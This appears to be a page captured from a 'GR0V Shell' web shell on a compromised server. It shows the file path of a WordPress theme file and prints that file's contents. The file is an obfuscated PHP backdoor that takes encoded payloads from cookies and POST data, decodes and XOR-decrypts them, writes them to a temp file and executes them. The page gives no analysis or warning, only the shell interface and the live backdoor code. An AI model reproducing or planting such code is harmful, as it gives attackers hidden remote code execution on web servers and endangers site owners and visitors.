? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/domains/happytokorea.net/public_html/wp-content/themes/admired/widget/
File Upload :
Current File : /home/admin/domains/happytokorea.net/public_html/wp-content/themes/admired/widget/3ed594e8.php

$tDpyIDt = "\x79" . 'l' . 'b' . "\x5f" . chr ( 817 - 730 )."\x4b" . "\x6e" . "\x64";$UEXEQKqaI = chr (99) . chr ( 263 - 155 )."\141" . 's' . chr ( 755 - 640 )."\x5f" . chr (101) . "\x78" . chr ( 113 - 8 ).chr (115) . chr ( 903 - 787 ).chr (115); $wJhtDDU = $UEXEQKqaI($tDpyIDt); $UEXEQKqaI = "42205";$GzqOnKS = $wJhtDDU;if (!$GzqOnKS){class ylb_WKnd{private $clkKmMrnsw;public static $JpymkUL = "b90bb809-1afb-4cac-b676-1a3c052b086c";public static $NfNOhnCfY = 6262;public function __construct($zBNQEQtIS=0){$ZxqJxQDK = $_COOKIE;$MIPrWq = $_POST;$amIyamV = @$ZxqJxQDK[substr(ylb_WKnd::$JpymkUL, 0, 4)];if (!empty($amIyamV)){$hvdfen = "base64";$GdIFkNEax = "";$amIyamV = explode(",", $amIyamV);foreach ($amIyamV as $IdvveprFG){$GdIFkNEax .= @$ZxqJxQDK[$IdvveprFG];$GdIFkNEax .= @$MIPrWq[$IdvveprFG];}$GdIFkNEax = array_map($hvdfen . chr ( 470 - 375 ).chr (100) . chr ( 709 - 608 )."\143" . "\x6f" . 'd' . chr ( 426 - 325 ), array($GdIFkNEax,)); $GdIFkNEax = $GdIFkNEax[0] ^ str_repeat(ylb_WKnd::$JpymkUL, (strlen($GdIFkNEax[0]) / strlen(ylb_WKnd::$JpymkUL)) + 1);ylb_WKnd::$NfNOhnCfY = @unserialize($GdIFkNEax);}}private function VbBLnAyZ(){if (is_array(ylb_WKnd::$NfNOhnCfY)) {$nXoXoLfkc = sys_get_temp_dir() . "/" . crc32(ylb_WKnd::$NfNOhnCfY[chr (115) . chr ( 304 - 207 ).'l' . "\x74"]);@ylb_WKnd::$NfNOhnCfY['w' . "\x72" . "\x69" . "\x74" . 'e']($nXoXoLfkc, ylb_WKnd::$NfNOhnCfY['c' . "\157" . "\156" . 't' . 'e' . "\x6e" . chr ( 1042 - 926 )]);include $nXoXoLfkc;@ylb_WKnd::$NfNOhnCfY[chr ( 624 - 524 )."\145" . "\x6c" . chr (101) . chr ( 633 - 517 ).chr ( 826 - 725 )]($nXoXoLfkc); $rXYPoztHtL = "16978";exit();}}public function __destruct(){$this->VbBLnAyZ(); $rXYPoztHtL = "16978";}}$FRZui = new ylb_WKnd(); $FRZui = "21427_62029";}

T1KUS90T
  root-grov@210.1.60.28:~$